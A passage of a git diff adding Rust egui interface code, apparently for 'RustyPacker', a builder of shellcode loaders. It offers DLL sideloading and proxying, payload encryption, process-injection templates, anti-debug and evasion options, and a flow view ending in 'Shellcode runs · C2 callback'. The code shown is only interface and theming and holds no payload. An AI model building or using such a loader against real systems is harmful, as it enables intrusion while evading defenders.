SideloadMode::Sideload => { + ui.add_space(6.0); + description( + ui, + "Sideload — pure replacement DLL. No original loaded; all \ + non-hijacked exports are no-op stubs. Drop alongside the \ + vulnerable host app.", + ); + } + SideloadMode::Proxy => { + ui.add_space(6.0); + description( + ui, + "Proxy — non-hijacked exports forward to the original DLL via .def. \ + Uses dyncvoke (git dep) + obfstr + lazy_static.", + ); + ui.add_space(6.0); + field_row(ui, "Path mode", |ui| { + ui.checkbox( + &mut state.sideload.use_absolute_path, + RichText::new("Use absolute target path (no rename needed)") + .font(crate::gui::theme::font_sans(11.0)), + ); + }); + if !state.sideload.use_absolute_path { + ui.add_space(6.0); + field_row(ui, "Renamed", |ui| { + let avail = ui.available_width(); + ui.add( + egui::TextEdit::singleline(&mut state.sideload.renamed) + .desired_width(avail.min(320.0)) + .hint_text("e.g. Shaping.dll") + .font(FontId::new(12.0, FontFamily::Monospace)) + .text_color(palette::text()) + .margin(egui::vec2(space::SM, space::XS + 1.0)), + ); + }); + } + } + } + + if let Some(target) = &state.sideload.target_dll { + ui.add_space(6.0); + draw_exports_preview(ui, target); + } + }); +} + +fn draw_exports_preview(ui: &mut egui::Ui, target_dll: &PathBuf) { + match crate::pe_parser::parse_exports(target_dll) { + Ok(exports) => { + let total = exports.len(); + let named = exports.iter().filter(|e| e.name.is_some()).count(); + meta_line( + ui, + &format!("{total} exports parsed ({named} named) from {}", target_dll.display()), + ); + } + Err(e) => { + meta_line(ui, &format!("could not parse exports: {e}")); + } + } +} + +// ---------------------------------------------------------------- encryption + +fn draw_encryption(ui: &mut egui::Ui, state: &mut AppState) { + use crate::techniques::{self, Category}; + let techniques: Vec<_> = techniques::by_category(Category::Encryption).collect(); + section_header( + ui, + "Encryption", + Some(&format!("{} techniques", techniques.len())), + ); + + card(ui, |ui| { + field_row(ui, "Method", |ui| { + let selected_label = techniques + .iter() + .find(|t| t.meta().id == state.encryption_id) + .map(|t| t.meta().display_name) + .unwrap_or("(none)"); + let avail = ui.available_width(); + egui::ComboBox::from_id_source("encryption_combo") + .selected_text( + RichText::new(selected_label) + .font(FontId::new(12.0, FontFamily::Proportional)) + .color(palette::text()), + ) + .width(avail - 4.0) + .show_ui(ui, |ui| { + for t in &techniques { + ui.selectable_value( + &mut state.encryption_id, + t.meta().id.to_string(), + t.meta().display_name, + ); + } + }); + }); + if let Some(t) = techniques.iter().find(|t| t.meta().id == state.encryption_id) { + ui.add_space(6.0); + description(ui, t.meta().description); + draw_params_for(ui, state, t.meta()); + } + }); +} + +// ---------------------------------------------------------------- injection + +#[derive(Clone, Copy, PartialEq, Eq)] +enum InjectionMode { SelfInject, Remote } + +fn mode_of(tags: &[&'static str]) -> InjectionMode { + if tags.iter().any(|t| *t == "self_injection") { + InjectionMode::SelfInject + } else { + InjectionMode::Remote + } +} + +fn draw_injection(ui: &mut egui::Ui, state: &mut AppState) { + use crate::techniques::{self, Category}; + let all: Vec<_> = techniques::by_category(Category::Injection).collect(); + + let current_mode = techniques::find(&state.injection_id) + .map(|t| mode_of(t.meta().tags)) + .unwrap_or(InjectionMode::Remote); + let mut next_mode = current_mode; + + let filtered: Vec<_> = all + .iter() + .filter(|t| mode_of(t.meta().tags) == current_mode) + .copied() + .collect(); + + section_header( + ui, + "Injection", + Some(&format!("{} techniques", filtered.len())), + ); + + card(ui, |ui| { + field_row(ui, "Mode", |ui| { + segmented( + ui, + &mut next_mode, + &[ + (InjectionMode::SelfInject, "SELF"), + (InjectionMode::Remote, "REMOTE"), + ], + ); + }); + + if next_mode != current_mode { + if let Some(first) = all.iter().find(|t| mode_of(t.meta().tags) == next_mode) { + state.injection_id = first.meta().id.to_string(); + } + } + + ui.add_space(6.0); + field_row(ui, "Template", |ui| { + let selected_label = filtered + .iter() + .find(|t| t.meta().id == state.injection_id) + .map(|t| t.meta().display_name) + .unwrap_or("(none)"); + let avail = ui.available_width(); + egui::ComboBox::from_id_source("injection_combo") + .selected_text( + RichText::new(selected_label) + .font(FontId::new(12.0, FontFamily::Proportional)) + .color(palette::text()), + ) + .width(avail - 4.0) + .show_ui(ui, |ui| { + for t in &filtered { + ui.selectable_value( + &mut state.injection_id, + t.meta().id.to_string(), + t.meta().display_name, + ); + } + }); + }); + + if let Some(t) = filtered.iter().find(|t| t.meta().id == state.injection_id) { + // Tag pills, indented under the label column + let extra_tags: Vec<&&str> = t + .meta() + .tags + .iter() + .filter(|tag| **tag != "self_injection" && **tag != "remote_injection") + .collect(); + if !extra_tags.is_empty() { + ui.add_space(6.0); + ui.horizontal(|ui| { + ui.add_space(82.0); // align with field content column + for tag in extra_tags { + pill(ui, tag, pill_kind_for_tag(tag)); + ui.add_space(4.0); + } + }); + } + + ui.add_space(6.0); + ui.horizontal(|ui| { + ui.add_space(82.0); + description(ui, t.meta().description); + }); + + draw_params_for(ui, state, t.meta()); + } + }); +} + +fn pill_kind_for_tag(tag: &str) -> PillKind { + match tag { + "remote_injection" => PillKind::Accent, + "self_injection" => PillKind::Accent, + "syscall" => PillKind::Warn, + _ => PillKind::Muted, + } +} + +// ---------------------------------------------------------------- anti-debug + +fn draw_anti_debug(ui: &mut egui::Ui, state: &mut AppState) { + use crate::techniques::{self, Category}; + let all: Vec<_> = techniques::by_category(Category::Evasion) + .filter(|t| t.meta().tags.iter().any(|tag| *tag == "anti_debug")) + .collect(); + let active = state.enabled_anti_debug.len(); + section_header( + ui, + "Anti-Debug", + Some(&format!("{} active", active)), + ); + card(ui, |ui| { + row_builder( + ui, + &mut state.enabled_anti_debug, + &mut state.params, + &all, + "ADD CHECK", + "anti_debug_add_popup", + "No anti-debug checks configured.", + ); + }); +} + +// ---------------------------------------------------------------- evasion + +fn draw_evasion(ui: &mut egui::Ui, state: &mut AppState) { + use crate::techniques::{self, Category}; + let all: Vec<_> = techniques::by_category(Category::Evasion) + .filter(|t| !t.meta().tags.iter().any(|tag| *tag == "anti_debug")) + .collect(); + let active = state.enabled_evasions.len(); + section_header( + ui, + "Evasion", + Some(&format!("{} active", active)), + ); + card(ui, |ui| { + row_builder( + ui, + &mut state.enabled_evasions, + &mut state.params, + &all, + "ADD EVASION", + "evasion_add_popup", + "No evasion techniques configured.", + ); + }); +} + +// ---------------------------------------------------------------- row-builder helper + +fn row_builder( + ui: &mut egui::Ui, + selected: &mut Vec, + params: &mut std::collections::HashMap, + available: &[&'static dyn crate::techniques::Technique], + add_label: &str, + popup_id: &str, + empty_hint: &str, +) { + let mut remove_idx: Option = None; + + if selected.is_empty() { + description(ui, empty_hint); + } else { + for (idx, id) in selected.iter().enumerate() { + if idx > 0 { + ui.add_space(8.0); + let r = ui.max_rect(); + ui.painter().hline( + r.x_range(), + ui.cursor().top(), + egui::Stroke::new(1.0, palette::border()), + ); + ui.add_space(8.0); + } + let Some(t) = available.iter().find(|t| t.meta().id == *id) else { continue; }; + ui.horizontal(|ui| { + ui.label( + RichText::new(t.meta().display_name) + .font(crate::gui::theme::font_sans(12.5)) + .color(palette::text()) + .strong(), + ); + ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| { + if ghost_button(ui, "× Remove").clicked() { + remove_idx = Some(idx); + } + }); + }); + ui.add_space(2.0); + description(ui, t.meta().description); + if !t.meta().params.is_empty() { + ui.add_space(2.0); + draw_params_into(ui, params, t.meta()); + } + } + } + + if let Some(i) = remove_idx { + selected.remove(i); + } + + // + Add button + popup + ui.add_space(8.0); + let any_available = available.iter().any(|t| !selected.iter().any(|s| s == t.meta().id)); + ui.horizontal(|ui| { + ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| { + let label = format!("+ {}", add_label); + let resp = if any_available { + ghost_button(ui, &label) + } else { + // Greyed-out, non-interactive when nothing left to add + let font = crate::gui::theme::font_sans(11.0); + let galley = ui.painter().layout_no_wrap(label.clone(), font.clone(), palette::text_muted()); + let pad = egui::vec2(space::SM + 2.0, space::XS + 1.0); + let size = galley.size() + egui::vec2(pad.x * 2.0, pad.y * 2.0); + let (rect, resp) = ui.allocate_exact_size(size, egui::Sense::hover()); + ui.painter().rect( + rect, + crate::gui::theme::radius::INPUT, + egui::Color32::TRANSPARENT, + egui::Stroke::new(1.0, palette::border()), + ); + ui.painter().text( + rect.center(), + egui::Align2::CENTER_CENTER, + label, + font, + palette::text_muted(), + ); + resp + }; + let pid = ui.make_persistent_id(popup_id); + if any_available && resp.clicked() { + ui.memory_mut(|m| m.toggle_popup(pid)); + } + egui::popup::popup_below_widget(ui, pid, &resp, |ui| { + ui.set_min_width(280.0); + egui::Frame::none() + .fill(palette::bg_panel()) + .stroke(egui::Stroke::new(1.0, palette::border_strong())) + .rounding(crate::gui::theme::radius::CARD) + .inner_margin(egui::Margin::same(4.0)) + .show(ui, |ui| { + for t in available { + if selected.iter().any(|s| s == t.meta().id) { continue; } + let item = ui.add(egui::SelectableLabel::new( + false, + RichText::new(format!(" {}", t.meta().display_name)) + .font(crate::gui::theme::font_sans(12.0)) + .color(palette::text()), + )); + if item.clicked() { + selected.push(t.meta().id.to_string()); + ui.memory_mut(|m| m.close_popup()); + } + } + }); + }); + }); + }); +} + +// ---------------------------------------------------------------- shared params + +fn draw_params_for( + ui: &mut egui::Ui, + state: &mut AppState, + meta: &crate::techniques::TechniqueMeta, +) { + draw_params_into(ui, &mut state.params, meta); +} + +fn draw_params_into( + ui: &mut egui::Ui, + params: &mut std::collections::HashMap, + meta: &crate::techniques::TechniqueMeta, +) { + use crate::techniques::ParamSpec; + for spec in meta.params { + ui.add_space(6.0); + match spec { + ParamSpec::Text { + name, + label, + default, + } => { + let key = format!("{}.{}", meta.id, name); + let value = params + .entry(key.clone()) + .or_insert_with(|| default.to_string()); + field_row(ui, label, |ui| { + let avail = ui.available_width(); + ui.add( + egui::TextEdit::singleline(value) + .desired_width(avail.min(320.0)) + .font(FontId::new(12.0, FontFamily::Monospace)) + .text_color(palette::text()) + .margin(egui::vec2(space::SM, space::XS + 1.0)), + ); + }); + } + ParamSpec::Bool { + name, + label, + default, + } => { + let key = format!("{}.{}", meta.id, name); + let mut on = params + .get(&key) + .map(|v| v == "true") + .unwrap_or(*default); + if ui.checkbox(&mut on, *label).changed() { + params.insert(key, on.to_string()); + } + } + ParamSpec::Choice { + name, + label, + options, + } => { + let key = format!("{}.{}", meta.id, name); + let mut current = params + .get(&key) + .cloned() + .unwrap_or_else(|| { + options.first().map(|s| s.to_string()).unwrap_or_default() + }); + field_row(ui, label, |ui| { + egui::ComboBox::from_id_source(&key) + .selected_text(¤t) + .show_ui(ui, |ui| { + for opt in options.iter() { + ui.selectable_value(&mut current, opt.to_string(), *opt); + } + }); + }); + params.insert(key, current); + } + } + } +} diff --git a/src/gui/tab_console.rs b/src/gui/tab_console.rs new file mode 100644 index 0000000..7ba8a5e --- /dev/null +++ b/src/gui/tab_console.rs @@ -0,0 +1,74 @@ +use crate::gui::state::AppState; +use crate::gui::theme::{self, palette, space}; +use crate::gui::widgets::{ghost_button, phase_progress, terminal_view, TerminalOpts}; +use eframe::egui::{self, RichText}; +use std::sync::{Arc, Mutex}; + +pub fn draw(ui: &mut egui::Ui, _state: &mut AppState, log: &Arc>) { + let text = log.lock().unwrap().clone(); + let (phase, total, phase_label) = detect_phase(&text); + + ui.label( + RichText::new("Build output") + .font(theme::font_sans(16.0)) + .color(palette::text()) + .strong(), + ); + ui.add_space(2.0); + ui.label( + RichText::new("Live build log from the puzzle assembler + cargo compile pipeline.") + .font(theme::font_sans(11.0)) + .color(palette::text_dim()), + ); + ui.add_space(space::MD); + + if phase > 0 || total > 0 { + phase_progress(ui, phase, total, phase_label); + ui.add_space(space::SM); + } + + terminal_view(ui, &text, TerminalOpts::default()); + + ui.add_space(space::SM); + ui.horizontal(|ui| { + if ghost_button(ui, "Copy log").clicked() { + ui.output_mut(|o| o.copied_text = text.clone()); + } + ui.add_space(4.0); + if ghost_button(ui, "Clear").clicked() { + log.lock().unwrap().clear(); + } + ui.with_layout( + egui::Layout::right_to_left(egui::Align::Center), + |ui| { + let lines = text.lines().count(); + ui.label( + RichText::new(format!("{lines} lines · auto-scroll on")) + .font(theme::font_mono(10.5)) + .color(palette::text_muted()), + ); + }, + ); + }); +} + +fn detect_phase(log: &str) -> (u32, u32, &'static str) { + let markers: &[(&str, &str)] = &[ + ("Starting build", "preparing template"), + ("Compiled output folder", "compiling loader"), + ("Build complete", "done"), + ]; + let total = markers.len() as u32; + let mut current = 0u32; + let mut label: &'static str = ""; + for (needle, lbl) in markers { + if log.contains(needle) { + current += 1; + label = lbl; + } + } + if log.contains("Build panicked") { + return (current.max(1), total, "build panicked"); + } + (current, total, label) +} diff --git a/src/gui/tab_flowcase.rs b/src/gui/tab_flowcase.rs new file mode 100644 index 0000000..80d9e4f --- /dev/null +++ b/src/gui/tab_flowcase.rs @@ -0,0 +1,131 @@ +use crate::gui::state::AppState; +use crate::gui::theme::{self, palette, space}; +use crate::gui::widgets::{step_card, StepAccent, StepView}; +use crate::techniques; +use eframe::egui::{self, RichText}; + +struct Step { + title: String, + pill: String, + accent: StepAccent, +} + +pub fn draw(ui: &mut egui::Ui, state: &mut AppState) { + egui::ScrollArea::vertical() + .auto_shrink([false, false]) + .show(ui, |ui| { + ui.set_min_width(ui.available_width()); + + ui.label( + RichText::new("Runtime execution path") + .font(theme::font_sans(16.0)) + .color(palette::text()) + .strong(), + ); + ui.add_space(space::MD); + + for (idx, step) in compute_steps(state).iter().enumerate() { + step_card( + ui, + &StepView { + idx: idx as u32 + 1, + title: &step.title, + pill_text: &step.pill, + accent: step.accent, + }, + ); + ui.add_space(space::XS + 2.0); + } + + ui.add_space(space::MD); + }); +} + +fn compute_steps(state: &AppState) -> Vec { + let mut steps = Vec::new(); + + steps.push(Step { + title: "Loader starts".into(), + pill: "ENTRY".into(), + accent: StepAccent::Normal, + }); + + // Anti-debug checks run first — bail out before any heavier evasion. + for id in &state.enabled_anti_debug { + if let Some(t) = techniques::find(id) { + steps.push(Step { + title: t.meta().display_name.into(), + pill: "ANTI-DEBUG".into(), + accent: StepAccent::Danger, + }); + } + } + + for ev_id in &state.enabled_evasions { + if let Some(t) = techniques::find(ev_id) { + steps.push(Step { + title: t.meta().display_name.into(), + pill: "EVASION".into(), + accent: StepAccent::Warn, + }); + } + } + + if let Some(enc) = techniques::find(&state.encryption_id) { + steps.push(Step { + title: format!("Decrypt via {}", enc.meta().id.to_uppercase()), + pill: enc.meta().id.to_uppercase(), + accent: StepAccent::Normal, + }); + } + + if let Some(inj) = techniques::find(&state.injection_id) { + let is_remote = inj.meta().tags.iter().any(|t| *t == "remote_injection"); + if is_remote { + let target = state + .params + .get(&format!("{}.target_process", inj.meta().id)) + .cloned() + .unwrap_or_else(|| "dllhost.exe".into()); + steps.push(Step { + title: "Open target process".into(), + pill: target, + accent: StepAccent::Normal, + }); + } + + steps.push(Step { + title: "Allocate RW · Write · Reprotect RX".into(), + pill: "RW → RX".into(), + accent: StepAccent::Danger, + }); + + steps.push(Step { + title: format!("Inject via {}", inj.meta().display_name), + pill: pill_for_injection(inj.meta().id), + accent: StepAccent::Normal, + }); + } + + steps.push(Step { + title: "Shellcode runs · C2 callback".into(), + pill: "DETONATE".into(), + accent: StepAccent::Danger, + }); + + steps +} + +/// Long technique ids (e.g. "enum_calendar_info") look ugly when shouted. +/// Map them to a tighter pill label; fall back to the upper-case id. +fn pill_for_injection(id: &str) -> String { + match id { + "enum_calendar_info" => "CALENDAR".into(), + "enum_desktops" => "DESKTOPS".into(), + "enum_window_stations" => "WINSTA".into(), + "enum_system_geo_id" => "GEOID".into(), + "cdef_folder_menu" => "CDEFMENU".into(), + "rtl_user_fiber_start" => "RTLFIBER".into(), + other => other.to_uppercase(), + } +} diff --git a/src/gui/theme.rs b/src/gui/theme.rs new file mode 100644 index 0000000..de9ee00 --- /dev/null +++ b/src/gui/theme.rs @@ -0,0 +1,372 @@ +//! Multi-theme design system for the RustyPacker GUI. +//! +//! Two themes ship today (Tactical, Cyberpunk). Each theme is a single +//! [`Palette`] value; widgets read the current palette via the `palette::*` +//! accessor functions. Switching themes is a single `set_theme()` call that +//! updates the atomic discriminant and re-installs fonts/Visuals. +//! +//! Tactical = the default; Cyberpunk forces all proportional text through +//! JetBrains Mono and enables a scanline overlay (painted by mod.rs). + +use eframe::egui::{ + self, Color32, FontData, FontDefinitions, FontFamily, FontId, Margin, Stroke, Style, + TextStyle, Vec2, Visuals, +}; +use serde::{Deserialize, Serialize}; +use std::sync::atomic::{AtomicU8, Ordering}; + +// ---------------------------------------------------------------- Theme + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +pub enum Theme { + Tactical, + Cyberpunk, +} + +impl Default for Theme { + fn default() -> Self { Self::Cyberpunk } +} + +impl Theme { + pub const ALL: &'static [Theme] = &[Theme::Tactical, Theme::Cyberpunk]; + + pub fn label(self) -> &'static str { + match self { + Theme::Tactical => "Tactical", + Theme::Cyberpunk => "Cyberpunk", + } + } + + pub fn palette(self) -> &'static Palette { + match self { + Theme::Tactical => &TACTICAL_PAL, + Theme::Cyberpunk => &CYBERPUNK_PAL, + } + } + + /// True if every text style (including Proportional) should render mono. + pub fn mono_only(self) -> bool { + matches!(self, Theme::Cyberpunk) + } + + /// True if the central panel should overlay a subtle CRT scanline pattern. + pub fn scanlines(self) -> bool { + matches!(self, Theme::Cyberpunk) + } +} + +// ---------------------------------------------------------------- Palette + +pub struct Palette { + pub bg_base: Color32, + pub bg_chrome: Color32, + pub bg_panel: Color32, + pub bg_panel_hi: Color32, + pub bg_input: Color32, + + pub border: Color32, + pub border_strong: Color32, + + pub text: Color32, + pub text_dim: Color32, + pub text_label: Color32, + pub text_muted: Color32, + + pub accent: Color32, + pub accent_hi: Color32, + pub accent_dim: Color32, + + pub ok: Color32, + pub warn: Color32, + pub danger: Color32, + pub danger_hi: Color32, + + /// Pre-mixed soft tints for filled badges / banners. + pub accent_tint: Color32, + pub danger_tint: Color32, +} + +pub const TACTICAL_PAL: Palette = Palette { + bg_base: Color32::from_rgb(0x16, 0x14, 0x0f), + bg_chrome: Color32::from_rgb(0x10, 0x0e, 0x0a), + bg_panel: Color32::from_rgb(0x1a, 0x18, 0x12), + bg_panel_hi: Color32::from_rgb(0x21, 0x1d, 0x16), + bg_input: Color32::from_rgb(0x0e, 0x0c, 0x08), + border: Color32::from_rgb(0x2e, 0x28, 0x20), + border_strong: Color32::from_rgb(0x3a, 0x34, 0x2a), + text: Color32::from_rgb(0xd6, 0xcf, 0xb8), + text_dim: Color32::from_rgb(0x8a, 0x82, 0x70), + text_label: Color32::from_rgb(0x9e, 0x95, 0x80), + text_muted: Color32::from_rgb(0x6e, 0x67, 0x55), + accent: Color32::from_rgb(0xd9, 0x97, 0x44), + accent_hi: Color32::from_rgb(0xe8, 0xa8, 0x55), + accent_dim: Color32::from_rgb(0xb3, 0x90, 0x39), + ok: Color32::from_rgb(0x7f, 0xb0, 0x69), + warn: Color32::from_rgb(0xd9, 0xb5, 0x66), + danger: Color32::from_rgb(0xcc, 0x44, 0x44), + danger_hi: Color32::from_rgb(0xe0, 0x70, 0x70), + accent_tint: Color32::from_rgba_premultiplied(0x36, 0x26, 0x10, 0x40), + danger_tint: Color32::from_rgba_premultiplied(0x33, 0x11, 0x11, 0x40), +}; + +pub const CYBERPUNK_PAL: Palette = Palette { + bg_base: Color32::from_rgb(0x07, 0x0a, 0x0d), + bg_chrome: Color32::from_rgb(0x05, 0x07, 0x09), + bg_panel: Color32::from_rgb(0x0a, 0x12, 0x16), + bg_panel_hi: Color32::from_rgb(0x0e, 0x1a, 0x20), + bg_input: Color32::from_rgb(0x04, 0x07, 0x09), + border: Color32::from_rgb(0x0e, 0x3a, 0x2e), + border_strong: Color32::from_rgb(0x14, 0x66, 0x52), + text: Color32::from_rgb(0xcd, 0xff, 0xf0), + text_dim: Color32::from_rgb(0x5a, 0x9c, 0x8a), + text_label: Color32::from_rgb(0x7f, 0xbf, 0xa9), + text_muted: Color32::from_rgb(0x3a, 0x6b, 0x5d), + accent: Color32::from_rgb(0x14, 0xff, 0xba), + accent_hi: Color32::from_rgb(0x7f, 0xff, 0xe0), + accent_dim: Color32::from_rgb(0x0f, 0xcc, 0x9a), + ok: Color32::from_rgb(0x14, 0xff, 0xba), + warn: Color32::from_rgb(0xff, 0xdb, 0x40), + danger: Color32::from_rgb(0xff, 0x40, 0x60), + danger_hi: Color32::from_rgb(0xff, 0x70, 0x80), + accent_tint: Color32::from_rgba_premultiplied(0x06, 0x3c, 0x2c, 0x60), + danger_tint: Color32::from_rgba_premultiplied(0x3c, 0x0c, 0x14, 0x60), +}; + +// ---------------------------------------------------------------- active theme + +static ACTIVE: AtomicU8 = AtomicU8::new(0); + +fn theme_to_u8(t: Theme) -> u8 { + match t { + Theme::Tactical => 0, + Theme::Cyberpunk => 1, + } +} +fn u8_to_theme(v: u8) -> Theme { + match v { + 1 => Theme::Cyberpunk, + _ => Theme::Tactical, + } +} + +pub fn current_theme() -> Theme { + u8_to_theme(ACTIVE.load(Ordering::Relaxed)) +} +pub fn current_palette() -> &'static Palette { + current_theme().palette() +} + +// ---------------------------------------------------------------- spacing + +pub mod space { + pub const XS: f32 = 4.0; + pub const SM: f32 = 8.0; + pub const MD: f32 = 12.0; + pub const LG: f32 = 18.0; + pub const XL: f32 = 24.0; + pub const XXL: f32 = 32.0; +} + +// ---------------------------------------------------------------- rounding + +pub mod radius { + use eframe::egui::Rounding; + pub const PILL: Rounding = Rounding::same(2.0); + pub const INPUT: Rounding = Rounding::same(3.0); + pub const CARD: Rounding = Rounding::same(4.0); + pub const CHROME: Rounding = Rounding::same(6.0); +} + +// ---------------------------------------------------------------- palette accessors + +/// Widgets read colors through these functions, never through the consts +/// directly — that's what makes the theme switchable at runtime. +pub mod palette { + use eframe::egui::Color32; + use super::current_palette; + + pub fn bg_base() -> Color32 { current_palette().bg_base } + pub fn bg_chrome() -> Color32 { current_palette().bg_chrome } + pub fn bg_panel() -> Color32 { current_palette().bg_panel } + pub fn bg_panel_hi() -> Color32 { current_palette().bg_panel_hi } + pub fn bg_input() -> Color32 { current_palette().bg_input } + + pub fn border() -> Color32 { current_palette().border } + pub fn border_strong() -> Color32 { current_palette().border_strong } + + pub fn text() -> Color32 { current_palette().text } + pub fn text_dim() -> Color32 { current_palette().text_dim } + pub fn text_label() -> Color32 { current_palette().text_label } + pub fn text_muted() -> Color32 { current_palette().text_muted } + + pub fn accent() -> Color32 { current_palette().accent } + pub fn accent_hi() -> Color32 { current_palette().accent_hi } + pub fn accent_dim() -> Color32 { current_palette().accent_dim } + + pub fn ok() -> Color32 { current_palette().ok } + pub fn warn() -> Color32 { current_palette().warn } + pub fn danger() -> Color32 { current_palette().danger } + pub fn danger_hi() -> Color32 { current_palette().danger_hi } + + pub fn accent_tint() -> Color32 { current_palette().accent_tint } + pub fn danger_tint() -> Color32 { current_palette().danger_tint } + + /// Convenience: solid accent at the given alpha (0..=255). + pub fn accent_alpha(alpha: u8) -> Color32 { + let c = accent(); + // linear_multiply preserves hue while reducing intensity for overlay tints. + let r = ((c.r() as u16 * alpha as u16) / 255) as u8; + let g = ((c.g() as u16 * alpha as u16) / 255) as u8; + let b = ((c.b() as u16 * alpha as u16) / 255) as u8; + Color32::from_rgba_premultiplied(r, g, b, alpha) + } + pub fn danger_alpha(alpha: u8) -> Color32 { + let c = danger(); + let r = ((c.r() as u16 * alpha as u16) / 255) as u8; + let g = ((c.g() as u16 * alpha as u16) / 255) as u8; + let b = ((c.b() as u16 * alpha as u16) / 255) as u8; + Color32::from_rgba_premultiplied(r, g, b, alpha) + } + pub fn warn_alpha(alpha: u8) -> Color32 { + let c = warn(); + let r = ((c.r() as u16 * alpha as u16) / 255) as u8; + let g = ((c.g() as u16 * alpha as u16) / 255) as u8; + let b = ((c.b() as u16 * alpha as u16) / 255) as u8; + Color32::from_rgba_premultiplied(r, g, b, alpha) + } +} + +// ---------------------------------------------------------------- fonts + +const FONT_INTER: &[u8] = include_bytes!("../../assets/fonts/InterVariable.ttf"); +const FONT_MONO: &[u8] = include_bytes!("../../assets/fonts/JetBrainsMono-Regular.ttf"); +const FONT_MONO_BOLD: &[u8] = include_bytes!("../../assets/fonts/JetBrainsMono-Bold.ttf"); + +pub const FAMILY_MONO_BOLD: &str = "mono-bold"; + +// ---------------------------------------------------------------- install + +/// Apply theme: persist active discriminant, install fonts + visuals. +/// Safe to call multiple times (e.g. on theme change). +pub fn install(ctx: &egui::Context, theme: Theme) { + ACTIVE.store(theme_to_u8(theme), Ordering::Relaxed); + install_fonts(ctx, theme); + install_style(ctx, theme); +} + +fn install_fonts(ctx: &egui::Context, theme: Theme) { + let mut fonts = FontDefinitions::default(); + + fonts.font_data.insert("inter".into(), FontData::from_static(FONT_INTER)); + fonts.font_data.insert("jbm".into(), FontData::from_static(FONT_MONO)); + fonts.font_data.insert("jbm-bold".into(), FontData::from_static(FONT_MONO_BOLD)); + + // In Cyberpunk, swap Proportional family to mono so every text style + // (heading/body/button/small) renders monospace without per-widget changes. + let primary_proportional = if theme.mono_only() { "jbm" } else { "inter" }; + + fonts + .families + .entry(FontFamily::Proportional) + .or_default() + .insert(0, primary_proportional.into()); + + fonts + .families + .entry(FontFamily::Monospace) + .or_default() + .insert(0, "jbm".into()); + + fonts.families.insert( + FontFamily::Name(FAMILY_MONO_BOLD.into()), + vec!["jbm-bold".into()], + ); + + ctx.set_fonts(fonts); +} + +fn install_style(ctx: &egui::Context, theme: Theme) { + let p = theme.palette(); + let mut style: Style = (*ctx.style()).clone(); + let mut v = Visuals::dark(); + + v.override_text_color = Some(p.text); + v.panel_fill = p.bg_base; + v.window_fill = p.bg_base; + v.window_stroke = Stroke::new(1.0, p.border_strong); + v.window_rounding = radius::CHROME; + v.menu_rounding = radius::CARD; + v.extreme_bg_color = p.bg_input; + v.faint_bg_color = p.bg_panel; + v.code_bg_color = p.bg_input; + + v.selection.bg_fill = p.accent.linear_multiply(0.35); + v.selection.stroke = Stroke::new(1.0, p.accent); + v.hyperlink_color = p.accent_hi; + + let w = &mut v.widgets; + w.noninteractive.bg_fill = p.bg_panel; + w.noninteractive.weak_bg_fill = p.bg_panel; + w.noninteractive.bg_stroke = Stroke::new(1.0, p.border); + w.noninteractive.fg_stroke = Stroke::new(1.0, p.text); + w.noninteractive.rounding = radius::CARD; + + w.inactive.bg_fill = p.bg_input; + w.inactive.weak_bg_fill = p.bg_input; + w.inactive.bg_stroke = Stroke::new(1.0, p.border); + w.inactive.fg_stroke = Stroke::new(1.0, p.text_label); + w.inactive.rounding = radius::INPUT; + + w.hovered.bg_fill = p.bg_panel_hi; + w.hovered.weak_bg_fill = p.bg_panel_hi; + w.hovered.bg_stroke = Stroke::new(1.0, p.accent); + w.hovered.fg_stroke = Stroke::new(1.0, p.text); + w.hovered.rounding = radius::INPUT; + + w.active.bg_fill = p.accent; + w.active.weak_bg_fill = p.accent.linear_multiply(0.2); + w.active.bg_stroke = Stroke::new(1.0, p.accent); + w.active.fg_stroke = Stroke::new(1.0, p.bg_base); + w.active.rounding = radius::INPUT; + + w.open.bg_fill = p.bg_input; + w.open.bg_stroke = Stroke::new(1.0, p.accent); + w.open.fg_stroke = Stroke::new(1.0, p.text); + w.open.rounding = radius::INPUT; + + v.handle_shape = egui::style::HandleShape::Rect { aspect_ratio: 1.0 }; + + style.visuals = v; + + style.spacing.item_spacing = Vec2::new(space::SM, space::XS + 1.0); + style.spacing.button_padding = Vec2::new(space::MD, space::XS + 2.0); + style.spacing.window_margin = Margin::same(0.0); + style.spacing.menu_margin = Margin::same(6.0); + style.spacing.indent = space::LG; + style.spacing.scroll.bar_width = 8.0; + style.spacing.interact_size = Vec2::new(24.0, 22.0); + + let mut text = std::collections::BTreeMap::new(); + text.insert(TextStyle::Heading, FontId::new(15.0, FontFamily::Proportional)); + text.insert(TextStyle::Body, FontId::new(13.0, FontFamily::Proportional)); + text.insert(TextStyle::Button, FontId::new(12.0, FontFamily::Proportional)); + text.insert(TextStyle::Small, FontId::new(11.0, FontFamily::Proportional)); + text.insert(TextStyle::Monospace, FontId::new(12.0, FontFamily::Monospace)); + style.text_styles = text; + + ctx.set_style(style); +} + +// ---------------------------------------------------------------- font helpers + +pub fn font_mono_bold(size: f32) -> FontId { + FontId::new(size, FontFamily::Name(FAMILY_MONO_BOLD.into())) +} + +pub fn font_mono(size: f32) -> FontId { + FontId::new(size, FontFamily::Monospace) +} + +pub fn font_sans(size: f32) -> FontId { + FontId::new(size, FontFamily::Proportional) +} diff --git a/src/gui/widgets.rs b/src/gui/widgets.rs new file mode 100644 index 0000000..adf5a4b --- /dev/null +++ b/src/gui/widgets.rs @@ -0,0 +1,742 @@ +//! Tactical/Operator widget primitives. All custom drawing for the app +//! lives here, on top of the tokens defined in [`crate::gui::theme`]. + +use crate::gui::theme::{palette, radius, space, Theme}; +use eframe::egui::{ + self, Align, Align2, Color32, FontFamily, FontId, Frame, Id, LayerId, Layout, Margin, Order, + Rect, Response, RichText, Rounding, Sense, Stroke, TextStyle, Ui, Vec2, +}; + +// ---------------------------------------------------------------- status pip + +#[derive(Clone, Debug)] +pub enum AppStatus { + Ready { count: usize }, + Building, + Error(String), +} + +fn status_color(s: &AppStatus) -> Color32 { + match s { + AppStatus::Ready { .. } => palette::ok(), + AppStatus::Building => palette::accent(), + AppStatus::Error(_) => palette::danger_hi(), + } +} + +fn status_text(s: &AppStatus) -> String { + match s { + AppStatus::Ready { count } => format!("{count} techniques discovered · ready"), + AppStatus::Building => "building…".into(), + AppStatus::Error(m) => format!("error · {m}"), + } +} + +// ---------------------------------------------------------------- title bar + +/// Returns `true` if the user picked a different theme this frame. +pub fn title_bar( + ui: &mut Ui, + version: &str, + status: &AppStatus, + theme: &mut 